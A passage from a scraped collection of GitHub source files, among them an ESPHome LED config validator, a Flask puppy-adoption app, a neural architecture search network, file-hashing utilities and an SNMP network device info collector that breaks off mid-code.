pin == 3:\n config[CONF_METHOD] = _validate_method(METHOD_ESP8266_DMA)\n elif pin == 1:\n config[CONF_METHOD] = _validate_method(\n {\n CONF_TYPE: METHOD_ESP8266_UART,\n CONF_BUS: 0,\n }\n )\n elif pin == 2:\n config[CONF_METHOD] = _validate_method(\n {\n CONF_TYPE: METHOD_ESP8266_UART,\n CONF_BUS: 1,\n }\n )\n else:\n config[CONF_METHOD] = _validate_method(METHOD_BIT_BANG)\n\n if CORE.is_esp32:\n if get_esp32_variant() in (VARIANT_ESP32C3, VARIANT_ESP32S3):\n config[CONF_METHOD] = _validate_method(METHOD_ESP32_RMT)\n else:\n config[CONF_METHOD] = _validate_method(METHOD_ESP32_I2S)\n\n return config\n\n\ndef _validate(config):\n variant = config[CONF_VARIANT]\n if variant in ONE_WIRE_CHIPS:\n if CONF_PIN not in config:\n raise cv.Invalid(\n f\"Chip {variant} is a 1-wire chip and needs the [pin] option.\"\n )\n if CONF_CLOCK_PIN in config or CONF_DATA_PIN in config:\n raise cv.Invalid(\n f\"Chip {variant} is a 1-wire chip, you need to set [pin] instead of .\"\n )\n else:\n if CONF_PIN in config:\n raise cv.Invalid(\n f\"Chip {variant} is a 2-wire chip and needs the [data_pin]+[clock_pin] option instead of [pin].\"\n )\n if CONF_CLOCK_PIN not in config or CONF_DATA_PIN not in config:\n raise cv.Invalid(\n f\"Chip {variant} is a 2-wire chip, you need to set [data_pin]+[clock_pin].\"\n )\n\n method_type = config[CONF_METHOD][CONF_TYPE]\n method_desc = METHODS[method_type]\n if variant not in method_desc.supported_chips:\n raise cv.Invalid(f\"Method {method_type} does not support {variant}\")\n if method_desc.extra_validate is not None:\n method_desc.extra_validate(config)\n\n return config\n\n\ndef _validate_method(value):\n if value is None:\n # default method is determined afterwards because it depends on the chip type chosen\n return None\n\n compat_methods = {}\n for bus in [0, 1]:\n for is_async in [False, True]:\n compat_methods[f\"ESP8266{'_ASYNC' if is_async else ''}_UART{bus}\"] = {\n CONF_TYPE: METHOD_ESP8266_UART,\n CONF_BUS: bus,\n CONF_ASYNC: is_async,\n }\n compat_methods[f\"ESP32_I2S_{bus}\"] = {\n CONF_TYPE: METHOD_ESP32_I2S,\n CONF_BUS: bus,\n }\n for channel in range(8):\n compat_methods[f\"ESP32_RMT_{channel}\"] = {\n CONF_TYPE: METHOD_ESP32_RMT,\n CONF_CHANNEL: channel,\n }\n\n if isinstance(value, str):\n if value.upper() in compat_methods:\n return _validate_method(compat_methods[value.upper()])\n return _validate_method({CONF_TYPE: value})\n return cv.typed_schema(\n {k: v.method_schema for k, v in METHODS.items()}, lower=True\n )(value)\n\n\nCONFIG_SCHEMA = cv.All(\n cv.only_with_arduino,\n cv.require_framework_version(\n esp8266_arduino=cv.Version(2, 4, 0),\n esp32_arduino=cv.Version(0, 0, 0),\n ),\n light.ADDRESSABLE_LIGHT_SCHEMA.extend(\n {\n cv.GenerateID(CONF_OUTPUT_ID): cv.declare_id(NeoPixelBusLightOutputBase),\n cv.Optional(CONF_TYPE, default=\"GRB\"): validate_type,\n cv.Required(CONF_VARIANT): cv.one_of(*CHIP_TYPES, lower=True),\n cv.Optional(CONF_METHOD): _validate_method,\n cv.Optional(CONF_INVERT, default=\"no\"): cv.boolean,\n cv.Optional(CONF_PIN): pins.internal_gpio_output_pin_number,\n cv.Optional(CONF_CLOCK_PIN): pins.internal_gpio_output_pin_number,\n cv.Optional(CONF_DATA_PIN): pins.internal_gpio_output_pin_number,\n cv.Required(CONF_NUM_LEDS): cv.positive_not_null_int,\n }\n ).extend(cv.COMPONENT_SCHEMA),\n _choose_default_method,\n _validate,\n)\n\n\nasync def to_code(config):\n has_white = \"W\" in config[CONF_TYPE]\n method = config[CONF_METHOD]\n\n method_template = METHODS[method[CONF_TYPE]].to_code(\n method, config[CONF_VARIANT], config[CONF_INVERT]\n )\n\n if has_white:\n out_type = NeoPixelRGBWLightOutput.template(method_template)\n else:\n out_type = NeoPixelRGBLightOutput.template(method_template)\n rhs = out_type.new()\n var = cg.Pvariable(config[CONF_OUTPUT_ID], rhs, out_type)\n await light.register_light(var, config)\n await cg.register_component(var, config)\n\n if CONF_PIN in config:\n cg.add(var.add_leds(config[CONF_NUM_LEDS], config[CONF_PIN]))\n else:\n cg.add(\n var.add_leds(\n config[CONF_NUM_LEDS], config[CONF_CLOCK_PIN], config[CONF_DATA_PIN]\n )\n )\n\n cg.add(var.set_pixel_order(getattr(ESPNeoPixelOrder, config[CONF_TYPE])))\n\n # https://github.com/Makuna/NeoPixelBus/blob/master/library.json\n # Version Listed Here: https://registry.platformio.org/libraries/makuna/NeoPixelBus/versions\n cg.add_library(\"makuna/NeoPixelBus\", \"2.7.3\")\n","repo_name":"esphome/esphome","sub_path":"esphome/components/neopixelbus/light.py","file_name":"light.py","file_ext":"py","file_size_in_byte":7289,"program_lang":"python","lang":"en","doc_type":"code","stars":6791,"dataset":"github-code","pt":"47"} +{"seq_id":"6154175162","text":"# Input Format\n# The first line contains the number of testcases, T. Next, T lines follow each containing a long string S.\n#\n# Output Format\n# For each long string S, display the no. of times SUVO and SUVOJIT appears in it.\n\n# SUVO = 0, SUVOJIT = 1\n# SUVO = 1, SUVOJIT = 0\n\n\nw = []\nn = int(input())\n\nfor i in range(0, n, 1):\n w = input()\n s1 = w.count(\"SUVO\")\n s2 = w.count(\"SUVOJIT\")\n s1 = s1 - s2\n print('SUVO = ', s1, ', SUVOJIT = ', s2, sep='')\n","repo_name":"ankurnarkhede/Competitive-Programming","sub_path":"he_algo_search_Manna'sFirstName.py","file_name":"he_algo_search_Manna'sFirstName.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"72454489744","text":"from django.conf import settings\nfrom django.core.management.base import BaseCommand\nimport logging\nfrom mailer.models import Email\nfrom optparse import make_option\n\nclass Command(BaseCommand):\n option_list = BaseCommand.option_list + (\n make_option('--send',\n action='store_true',\n dest='send',\n default=False,\n help='Send emails or just show a log of pending emails (defaults to latter).'),\n )\n\n def handle(self, *args, **options):\n if not options['send']:\n if settings.DEBUG:\n msgs = Email.objects.filter(sent = False).filter(recipient__icontains = '@jumo.com')\n else:\n msgs =[]\n #msgs = Email.objects.filter(sent = False)\n if not msgs:\n logging.info('No emails to send.')\n return\n for msg in msgs:\n logging.info('Emailing %s: %s' % (msg.recipient, msg.subject))\n else:\n pass\n #This isn't referencing anything...\n #send_mail()\n","repo_name":"jumoconnect/openjumo","sub_path":"jumodjango/mailer/management/commands/sendmail.py","file_name":"sendmail.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"47"} +{"seq_id":"14849783007","text":"# -*- coding=utf-8\n'''\nCreated on 2016年9月23日\n庄家规则\n@author: zhaol\n'''\nimport random\n\nfrom difang.majiang2.banker.banker import MBanker\n\n\nclass MBankerRandomRemain(MBanker):\n \"\"\"\n 开局随机庄家,之后连庄的规则\n 庄家赢,连庄\n 闲家赢,闲家坐庄\n \n 哈尔滨麻将中有一个包庄的玩法,连续流局3次后,庄家就属于包牌了,不管谁胡,庄都要付3家的钱,而且庄要移到下一家。\n \"\"\"\n\n def __init__(self):\n super(MBankerRandomRemain, self).__init__()\n\n def getBanker(self, playerCount, isFirst, winLoose, winSeatId):\n \"\"\"子类必须实现\n 参数:\n 1)isFirst 是否第一句\n 2)winLoose 上局的结果 1分出了胜负 0流局\n 3)winSeatId 赢家的座位号,如果第二个参数为0,则本参数为上一局的庄家\n \"\"\"\n if isFirst:\n # 初始化,随机选庄\n self.banker = random.randint(0, playerCount - 1)\n self.no_result_count = 0\n self.remain_count = 0\n else:\n if winLoose > 0:\n # 有输赢结果\n if winSeatId == self.banker:\n # 赢得是庄家\n self.remain_count += 1\n self.no_result_count = 0\n else:\n # 赢得是闲家\n self.banker = winSeatId\n self.remain_count = 0\n self.no_result_count = 0\n else:\n # 荒牌,流局,庄家继续,荒牌次数加一,坐庄次数加一\n self.no_result_count += 1\n self.remain_count += 1\n\n return self.banker, self.remain_count, self.no_result_count\n","repo_name":"csirui/hall37","sub_path":"source/difang/src/difang/majiang2/banker/banker_random_remain.py","file_name":"banker_random_remain.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"776203341","text":"from Recasting_ver.models.normal_nets.proxyless_nets import DartsRecastingNet, DartsRecastingBlock\nfrom Recasting_ver.modules.layers import nn, ConvLayer, LinearLayer\nfrom Recasting_ver.modules.mix_op import MixedEdge, build_candidate_ops\n\n\nclass LennaNet(DartsRecastingNet):\n \"\"\"\n SuperDartsRecastingNet:\n first_conv -> Blocks(Cells) -> pool -> classifier\n\n LennaNet:\n first conv -> one block -> pool -> classifier\n \"\"\"\n\n def __init__(self, num_layers,\n normal_ops, reduction_ops, block_type,\n input_channel, n_classes=1000,\n bn_param=(0.1, 1e-3), dropout_rate=0,\n ):\n self._redundant_modules = None\n\n \"\"\"\n first_conv.input_channel <- 3 (RGB)\n first_conv.output_channel <- b_input_channel \n \"\"\"\n first_conv = ConvLayer(\n 3, input_channel, kernel_size=3, stride=1, use_bn=True, act_func='relu', ops_order='weight_bn_act'\n )\n\n output_channel = input_channel\n if block_type:\n edges = self.build_normal_layers(normal_ops, input_channel, output_channel, num_layers)\n block = [DartsRecastingBlock(edges)]\n else:\n output_channel = input_channel * 2\n edges = self.build_reduction_layers(reduction_ops, normal_ops, input_channel, output_channel,\n num_layers)\n block = [DartsRecastingBlock(edges)]\n\n classifier = LinearLayer(output_channel, n_classes, dropout_rate=dropout_rate)\n super(LennaNet, self).__init__(first_conv, block, classifier)\n\n def init_arch_params(self, init_type='uniform', init_ratio=1e-3):\n for param in self.architecture_parameters():\n if init_type == 'normal':\n param.data.normal_(0, init_ratio)\n elif init_type == 'uniform':\n param.data.uniform_(-init_ratio, init_ratio)\n else:\n raise NotImplementedError\n\n def architecture_parameters(self):\n for name, param in self.named_parameters():\n if 'AP_path_alpha' in name:\n yield param\n\n def reset_binary_gates(self):\n for m in self.redundant_modules:\n try:\n m.binarize()\n except AttributeError:\n print(type(m), ' do not support binarize')\n\n @staticmethod\n def build_normal_layers(candidate_ops, input_channel, out_channel, num_layers):\n \"\"\"\n TODO: apply MixedEdge_v2\n build normal layers for one block.\n :return: layer_list will be args for DartsRecastingBlock(arg)\n \"\"\"\n layer_list = []\n for num_edges in range(num_layers):\n layer = []\n for _ in range(num_edges + 1):\n edge = MixedEdge(candidate_ops=build_candidate_ops(candidate_ops,\n input_channel,\n out_channel,\n 1,\n 'weight_bn_act'),\n )\n\n layer += [edge]\n\n layer_list += [nn.ModuleList(layer)]\n\n return layer_list\n\n @staticmethod\n def build_reduction_layers(reduction_ops, normal_ops, input_channel, out_channel, num_layers):\n layer_list = []\n for num_edges in range(num_layers):\n layer = []\n for edge_idx in range(num_edges + 1):\n if edge_idx == 0:\n ops = reduction_ops\n in_C = input_channel\n out_C = out_channel\n S = 2\n else:\n ops = normal_ops\n in_C = out_channel\n out_C = out_channel\n S = 1\n\n edge = MixedEdge(candidate_ops=build_candidate_ops(ops,\n in_C,\n out_C,\n S,\n 'weight_bn_act'),\n )\n\n layer += [edge]\n\n # for e in layer:\n # print(e.AP_path_alpha)\n\n layer_list += [nn.ModuleList(layer)]\n\n return layer_list\n\n @property\n def redundant_modules(self):\n if self._redundant_modules is None:\n module_list = []\n for m in self.modules():\n if m.__str__().startswith('MixedEdge'):\n module_list.append(m)\n self._redundant_modules = module_list\n return self._redundant_modules\n","repo_name":"meowpunch/LENNA","sub_path":"src/data_pipeline/lenna_net.py","file_name":"lenna_net.py","file_ext":"py","file_size_in_byte":4905,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"39105297801","text":"import warnings\nfrom pathlib import Path\nfrom typing import List, BinaryIO, Iterable, Union\nfrom zlib import crc32\n\nfrom litehash._common import _iter_positioned_bytes, bytes_to_digest, \\\n HashAlgo\n\n\ndef _equidistant_positions(size: int, n: int) -> List[int]:\n \"\"\"We have a file sized `size` and we want to read the `n` of\n bytes from it, located at an equal distance from each other.\n The function returns the indexes of these bytes inside the file.\"\"\"\n\n if size <= 0 or n <= 0:\n return []\n\n if n == 1:\n return [round((size - 1) / 2)]\n\n result: List[int] = list()\n\n step = (size - 1) / (n - 1)\n\n for i in range(n):\n pos = round(i * step)\n assert 0 <= pos < size\n if result and pos <= result[-1]:\n continue\n pos = min(pos, size - 1)\n assert 0 <= pos < size\n result.append(pos)\n\n return result\n\n\ndef _equidistant_bytes(stream: BinaryIO, size: int, n: int) -> Iterable[int]:\n return _iter_positioned_bytes(stream, _equidistant_positions(size, n))\n\n\ndef _equidistant_hashable(file: Path, n: int) -> bytes:\n size = file.stat().st_size\n size_as_bytes = size.to_bytes(8, byteorder=\"big\")\n with file.open(\"rb\") as f:\n data_bytes = bytes(_equidistant_bytes(stream=f,\n size=size,\n n=min(size, n)))\n return data_bytes + size_as_bytes\n\n\ndef file_equidistant_crc32(file: Union[Path, str], n: int = 8) -> int:\n warnings.warn(\"Use file_to_hash_equidistant\",\n DeprecationWarning,\n stacklevel=2)\n if n <= 0:\n raise ValueError(n)\n return crc32(_equidistant_hashable(Path(file), n=n))\n\n\ndef file_equidistant_md5(file: Union[Path, str], n: int = 8) -> str:\n warnings.warn(\"Use file_to_hash_equidistant\",\n DeprecationWarning,\n stacklevel=2)\n if n <= 0:\n raise ValueError(n)\n return bytes_to_digest(_equidistant_hashable(Path(file), n=n),\n HashAlgo.md5)\n\n\ndef file_to_hash_equidistant(file: Path,\n algo: HashAlgo = HashAlgo.md5,\n n: int = 8) -> str:\n if n <= 0:\n raise ValueError(n)\n return bytes_to_digest(_equidistant_hashable(Path(file), n=n), algo)\n","repo_name":"rtmigo/litehash_py","sub_path":"litehash/_equidistant.py","file_name":"_equidistant.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"32418183702","text":"import xarray as xa\nimport matplotlib.pyplot as plt\nfrom typing import List, Union, Tuple, Optional\nfrom hyperclass.data.spatial.manager import DataManager, Dict\n\n# Fit UMAP to hyperspectral data and view embedding\n\nif __name__ == '__main__':\n\n tile_index = [1,1]\n subsampling = 5\n threshold = 6.5\n axis = 'x'\n ndims = 3\n ccolors = [ (0, f\"{axis}<{threshold}\", [.5,1,.5]), (1, f\"{axis}>{threshold}\", [0,0,1]) ]\n image_name = \"ang20170720t004130_corr_v2p9\"\n iax = dict( x=0, y=1, z=2 )\n gbands = [ 29, 38 ]\n\n fig, ax = plt.subplots( 1, 2 )\n dm = DataManager( image_name )\n tile = dm.getTile( *tile_index )\n\n raster = dm.readGeotiff( f\"raster-{tile.name}\" )\n bp = dm.readGeotiff( f\"bp-{tile.name}\" )\n mask = bp[ iax[axis] ] > threshold\n dm.plotRaster( mask, colors=ccolors, ax=ax[1], title=f\"UMAP-3D back projected classification: Threshold = {threshold}, axis = {axis}\" )\n\n bp = dm.readGeotiff( f\"bp-{tile.name}\" )\n tile.plotBlock( 0, 0, band_range= gbands, ax=ax[0], title=\"Aviris green bands\" )\n\n plt.show()\n\n\n","repo_name":"nasa-nccs-cds/hyperclass","sub_path":"hyperclass/umap/exe/dev/backprojected_classification.py","file_name":"backprojected_classification.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"10737609592","text":"#!/usr/bin/env python2\n\n# burrows-wheeler matrix\nT = \"AATTGCGCGG\" # 10 bps\n\n\ndef bwt(seq):\n seq += \"$\"\n l = len(seq)\n rotations = [0] * l\n\n # moves last letter of sequence to start\n for i in range(1, l+1):\n rotations[i-1] = seq[l-i:l] + seq[0:l-i]\n rotations_alpha = sorted(rotations) # lists in alphabetical order\n k = len(rotations_alpha)\n bwt = \"\"\n temp = \"\"\n\n # takes last letter of each string\n for i in range(k):\n temp += rotations_alpha[i]\n bwt += temp[l-1]\n temp = \"\"\n\n #print bwt\n\n\nbwt(T)\n","repo_name":"lagardaf/assignment3_python","sub_path":"bwt.py","file_name":"bwt.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15042308995","text":"import os\nfrom flask import Flask , render_template , redirect , url_for\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom form import Add_form , Delete_form\n\napp = Flask(__name__,template_folder='template')\n\napp.config['SECRET_KEY'] = 'asfg'\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///'+ os.path.join(basedir,'data.sqlite')\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\ndb = SQLAlchemy(app)\n\nMigrate(app,db)\n\nclass puppies(db.Model):\n\n id = db.Column(db.Integer,primary_key = True)\n name = db.Column(db.Text)\n\n def __init__(self,name):\n self.name = name\n\n def __repr__(self):\n return f\"Puppy name {self.name}\"\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/add',methods=['GET','POST'])\ndef add():\n\n ad = Add_form()\n\n if ad.validate_on_submit():\n\n name = ad.breed.data\n\n new_pup = puppies(name)\n db.session.add(new_pup)\n db.session.commit()\n\n return redirect(url_for('list'))\n \n return render_template('add.html',ad=ad)\n\n\n@app.route('/list')\ndef list():\n\n puppy = puppies.query.all()\n return render_template('list.html',puppy=puppy)\n\n\n@app.route('/delete',methods=['GET','POST'])\ndef delete():\n\n dl = Delete_form()\n\n if dl.validate_on_submit():\n\n pop_puppy = dl.id.data\n popp = puppies.query.get(pop_puppy)\n\n db.session.delete(popp)\n db.session.commit()\n\n return redirect(url_for('list'))\n return render_template('delete.html',dl=dl)\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"tushardhankhar/Puppy_adoption","sub_path":"basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19022166769","text":"# coding: utf-8\nfrom collections import defaultdict\nimport re\n\ntry:\n from pysnmp.entity.rfc3413.oneliner import cmdgen\n\n has_pysnmp = True\nexcept:\n has_pysnmp = False\n\n\nclass DefineOid(object):\n def __init__(self, dotprefix=False):\n if dotprefix:\n dp = \".\"\n else:\n dp = \"\"\n\n # From SNMPv2-MIB\n self.sysDescr = dp + \"1.3.6.1.2.1.1.1.0\"\n self.sysObjectId = dp + \"1.3.6.1.2.1.1.2.0\"\n self.sysUpTime = dp + \"1.3.6.1.2.1.1.3.0\"\n self.sysName = dp + \"1.3.6.1.2.1.1.5.0\"\n self.sysLocation = dp + \"1.3.6.1.2.1.1.6.0\"\n\n # From IF-MIB\n self.ifIndex = dp + \"1.3.6.1.2.1.2.2.1.1\"\n self.ifDescr = dp + \"1.3.6.1.2.1.2.2.1.2\"\n self.ifMtu = dp + \"1.3.6.1.2.1.2.2.1.4\"\n self.ifSpeed = dp + \"1.3.6.1.2.1.2.2.1.5\"\n self.ifPhysAddress = dp + \"1.3.6.1.2.1.2.2.1.6\"\n self.ifAdminStatus = dp + \"1.3.6.1.2.1.2.2.1.7\"\n self.ifOperStatus = dp + \"1.3.6.1.2.1.2.2.1.8\"\n self.ifAlias = dp + \"1.3.6.1.2.1.31.1.1.1.18\"\n\n # From IP-MIB\n self.ipAdEntAddr = dp + \"1.3.6.1.2.1.4.20.1.1\"\n self.ipAdEntIfIndex = dp + \"1.3.6.1.2.1.4.20.1.2\"\n self.ipAdEntNetMask = dp + \"1.3.6.1.2.1.4.20.1.3\"\n\n #z\n self.ipNetToMediaIfindex = dp + \"1.3.6.1.2.1.4.22.1.1\"\n self.ipNetToMediaPhysAddress = dp + \"1.3.6.1.2.1.4.22.1.2\"\n #self.ipNetToMediaNetAddress = dp + \"1.3.6.1.2.1.4.22.1.3\"\n\nclass ServerError(Exception):\n \"\"\"\n self define exception\n 自定义异常\n \"\"\"\n pass\n #print Exception\n\n\n#处理.\ndef decode_hex(hexstring):\n if len(hexstring) < 3:\n return hexstring\n if hexstring[:2] == \"0x\":\n return hexstring[2:].decode(\"hex\")\n else:\n return hexstring\n\n#处理.\ndef decode_mac(hexstring):\n if len(hexstring) != 14:\n return hexstring\n if hexstring[:2] == \"0x\":\n return hexstring[2:]\n else:\n return hexstring\n\n\ndef lookup_adminstatus(int_adminstatus):\n adminstatus_options = {\n 1: 'up',\n 2: 'down',\n 3: 'testing'\n }\n if int_adminstatus in adminstatus_options.keys():\n return adminstatus_options[int_adminstatus]\n else:\n return \"\"\n\n\ndef lookup_operstatus(int_operstatus):\n operstatus_options = {\n 1: 'up',\n 2: 'down',\n 3: 'testing',\n 4: 'unknown',\n 5: 'dormant',\n 6: 'notPresent',\n 7: 'lowerLayerDown'\n }\n if int_operstatus in operstatus_options.keys():\n return operstatus_options[int_operstatus]\n else:\n return \"\"\n\n\n\n\n#调用的类\nclass get_net_conntions():\n def __init__(self,args={}):\n if not has_pysnmp:\n module.fail_json(msg='Missing required pysnmp module (check docs)')\n\n self.args=args\n self.cmdGen = cmdgen.CommandGenerator()\n\n\n #输入参数判断,预处理\n # Verify that we receive a community when using snmp v2\n if self.args['version'] == \"v2\" or self.args['version'] == \"v2c\":\n if self.args['community'] == False:\n raise ServerError('Community not set when using snmp version 2')\n\n if self.args['version'] == \"v3\":\n if self.args['username'] == None:\n raise ServerError('Username not set when using snmp version 3')\n\n if self.args['level'] == \"authPriv\" and self.args['privacy'] == None:\n raise ServerError('Privacy algorithm not set when using authPriv')\n\n if self.args['integrity'] == \"sha\":\n integrity_proto = cmdgen.usmHMACSHAAuthProtocol\n elif self.args['integrity'] == \"md5\":\n integrity_proto = cmdgen.usmHMACMD5AuthProtocol\n\n if self.args['privacy'] == \"aes\":\n privacy_proto = cmdgen.usmAesCfb128Protocol\n elif self.args['privacy'] == \"des\":\n privacy_proto = cmdgen.usmDESPrivProtocol\n\n # Use SNMP Version 2\n if self.args['version'] == \"v2\" or self.args['version'] == \"v2c\":\n\n self.snmp_auth = cmdgen.CommunityData(self.args['community'])\n\n # Use SNMP Version 3 with authNoPriv\n elif self.args['level'] == \"authNoPriv\":\n self.snmp_auth = cmdgen.UsmUserData(self.args['username'], authKey=self.args['authkey'], authProtocol=integrity_proto)\n\n # Use SNMP Version 3 with authPriv\n else:\n self.snmp_auth = cmdgen.UsmUserData(self.args['username'], authKey=self.args['authkey'], privKey=self.args['privkey'],\n authProtocol=integrity_proto, privProtocol=privacy_proto)\n\n\n def get_data(self):\n #具体的获取逻辑\n\n # Use p to prefix OIDs with a dot for polling\n p = DefineOid(dotprefix=True)\n # Use v without a prefix to use with return values\n v = DefineOid(dotprefix=False)\n\n Tree = lambda: defaultdict(Tree)\n\n results = Tree()\n\n errorIndication, errorStatus, errorIndex, varBinds = self.cmdGen.getCmd(\n self.snmp_auth,\n cmdgen.UdpTransportTarget((self.args['host'], 161),timeout=20, retries=1),\n cmdgen.MibVariable(p.sysDescr, ),\n cmdgen.MibVariable(p.sysObjectId, ),\n cmdgen.MibVariable(p.sysUpTime, ),\n #cmdgen.MibVariable(p.sysContact, ),\n cmdgen.MibVariable(p.sysName, ),\n cmdgen.MibVariable(p.sysLocation, ),\n\n #cmdgen.MibVariable(p.sysModel, ),\n lookupMib=False,\n ignoreNonIncreasingOid=True\n )\n\n if errorIndication:\n #print errorIndication\n raise ServerError(str(errorIndication))\n #获取系统参数\n for oid, val in varBinds:\n current_oid = oid.prettyPrint()\n current_val = val.prettyPrint()\n if current_oid == v.sysDescr:\n netsysdescr = decode_hex(current_val)\n #results['netsysdescr'] = decode_hex(current_val)\n if 'h3c' in netsysdescr.lower():\n results['netsysdescr']['brand'] = 'H3C'\n results['netsysdescr']['version']=re.compile('Version(.*), R').findall(netsysdescr)[0]\n results['netsysdescr']['model']=re.compile('H3C(.*)So').findall(netsysdescr)[0]\n elif 'cisco' in netsysdescr.lower() and 'software' in netsysdescr.lower():\n results['netsysdescr']['brand'] = 'CISCO'\n #results['netsysdescr']['version']=re.compile('Version(.*), R').findall(netsysdescr)[0]\n results['netsysdescr']['version']=re.compile('Version(.*) R').findall(netsysdescr)[0]\n results['netsysdescr']['model']=re.compile('Software (.*), V').findall(netsysdescr)[0]\n elif 'cisco' in netsysdescr.lower() and 'security' in netsysdescr.lower():\n results['netsysdescr']['brand'] = 'CISCO ASA'\n results['netsysdescr']['version']=re.compile('Version(.*)').findall(netsysdescr)[0]\n results['netsysdescr']['model']='unsupported'\n elif 'cisco' in netsysdescr.lower() and 'controller' in netsysdescr.lower():\n results['netsysdescr']['brand'] = 'CISCO Controller'\n results['netsysdescr']['version']='unsupported'\n results['netsysdescr']['model']='unsupported'\n elif 'linux ns' in netsysdescr.lower():\n results['netsysdescr']['brand'] = 'netentsec'\n results['netsysdescr']['version']=re.compile('NS (.*)-').findall(netsysdescr)[0]\n results['netsysdescr']['model']=re.compile('-(.*) #').findall(netsysdescr)[0]\n elif 'dell' in netsysdescr.lower() and 'networking' in netsysdescr.lower():\n results['netsysdescr']['brand'] = 'DELL'\n results['netsysdescr']['version']=re.compile(',(.*),').findall(netsysdescr)[0]\n results['netsysdescr']['model']=re.compile('Networking (.*),').findall(netsysdescr)[0]\n elif 'ds' in netsysdescr.lower():\n results['netsysdescr']['brand'] = 'EMC'\n results['netsysdescr']['version']='unsupported'\n results['netsysdescr']['model']=netsysdescr\n else:\n results['netsysdescr']['brand'] = 'unsupported'\n results['netsysdescr']['version']='unsupported'\n results['netsysdescr']['model']='unsupported'\n\n\n elif current_oid == v.sysObjectId:\n results['netsysobjectid'] = current_val\n elif current_oid == v.sysUpTime:\n results['netsysuptime'] = current_val\n elif current_oid == v.sysName:\n results['netsysname'] = current_val\n elif current_oid == v.sysLocation:\n results['netsyslocation'] = current_val\n\n\n errorIndication, errorStatus, errorIndex, varTable = self.cmdGen.nextCmd(\n self.snmp_auth,\n cmdgen.UdpTransportTarget((self.args['host'], 161),timeout=10,retries=1),\n cmdgen.MibVariable(p.ifIndex, ),\n cmdgen.MibVariable(p.ifDescr, ),\n cmdgen.MibVariable(p.ifMtu, ),\n cmdgen.MibVariable(p.ifSpeed, ),\n cmdgen.MibVariable(p.ifPhysAddress, ),\n cmdgen.MibVariable(p.ifAdminStatus, ),\n cmdgen.MibVariable(p.ifOperStatus, ),\n cmdgen.MibVariable(p.ipAdEntAddr, ),\n cmdgen.MibVariable(p.ipAdEntIfIndex, ),\n cmdgen.MibVariable(p.ipAdEntNetMask, ),\n cmdgen.MibVariable(p.ifAlias, ),\n\n \n #z\n cmdgen.MibVariable(p.ipNetToMediaIfindex, ),\n cmdgen.MibVariable(p.ipNetToMediaPhysAddress, ),\n #cmdgen.MibVariable(p.ipNetToMediaNetAddress, ),\n\n lookupMib=False,\n ignoreNonIncreasingOid=True\n )\n\n if errorIndication:\n raise ServerError(str(errorIndication))\n\n interface_indexes = []\n\n all_ipv4_addresses = []\n ipv4_networks = Tree()\n\n\n #获取接口数据\n for varBinds in varTable:\n #print varBinds\n for oid, val in varBinds:\n current_oid = oid.prettyPrint()\n current_val = val.prettyPrint()\n #print current_oid\n #print current_val\n\n if v.ifIndex in current_oid:\n ifIndex = int(current_oid.rsplit('.', 1)[-1])\n results['netinterfaces'][ifIndex]['ifindex'] = current_val\n interface_indexes.append(ifIndex)\n if v.ifDescr in current_oid:\n ifIndex = int(current_oid.rsplit('.', 1)[-1])\n results['netinterfaces'][ifIndex]['name'] = current_val\n if v.ifMtu in current_oid:\n ifIndex = int(current_oid.rsplit('.', 1)[-1])\n results['netinterfaces'][ifIndex]['mtu'] = current_val\n if v.ifSpeed in current_oid:\n ifIndex = int(current_oid.rsplit('.', 1)[-1])\n results['netinterfaces'][ifIndex]['speed'] = current_val\n if v.ifPhysAddress in current_oid:\n ifIndex = int(current_oid.rsplit('.', 1)[-1])\n results['netinterfaces'][ifIndex]['mac'] = decode_mac(current_val)\n if v.ifAdminStatus in current_oid:\n ifIndex = int(current_oid.rsplit('.', 1)[-1])\n results['netinterfaces'][ifIndex]['adminstatus'] = lookup_adminstatus(int(current_val))\n if v.ifOperStatus in current_oid:\n ifIndex = int(current_oid.rsplit('.', 4)[-1])\n results['netinterfaces'][ifIndex]['operstatus'] = lookup_operstatus(int(current_val))\n if v.ifAlias in current_oid:\n ifIndex = int(current_oid.rsplit('.', 1)[-1])\n results['netinterfaces'][ifIndex]['description'] = current_val\n\n #z\n if v.ipNetToMediaIfindex in current_oid:\n iptoindex = \".\".join(current_oid.split('.')[-4::])\n results['netipto'][iptoindex]['index'] = int(current_val)\n else:\n results['netipto']['ip']['index'] = 'unsupported'\n if v.ipNetToMediaPhysAddress in current_oid:\n iptomac = \".\".join(current_oid.split('.')[-4::])\n results['netipto'][iptomac]['mac'] = decode_mac(current_val)\n else:\n results['netipto']['ip']['mac'] = 'unsupported'\n #if v.ipNetToMediaNetAddress in current_oid:\n # iptoip = \".\".join(current_oid.split('.')[-4::])\n # results['netipto'][iptoip]['ip'] = current_val\n\n\n if v.ipAdEntAddr in current_oid:\n curIPList = current_oid.rsplit('.', 4)[-4:]\n curIP = \".\".join(curIPList)\n ipv4_networks[curIP]['address'] = current_val\n all_ipv4_addresses.append(current_val)\n if v.ipAdEntIfIndex in current_oid:\n curIPList = current_oid.rsplit('.', 4)[-4:]\n curIP = \".\".join(curIPList)\n ipv4_networks[curIP]['interface'] = current_val\n if v.ipAdEntNetMask in current_oid:\n curIPList = 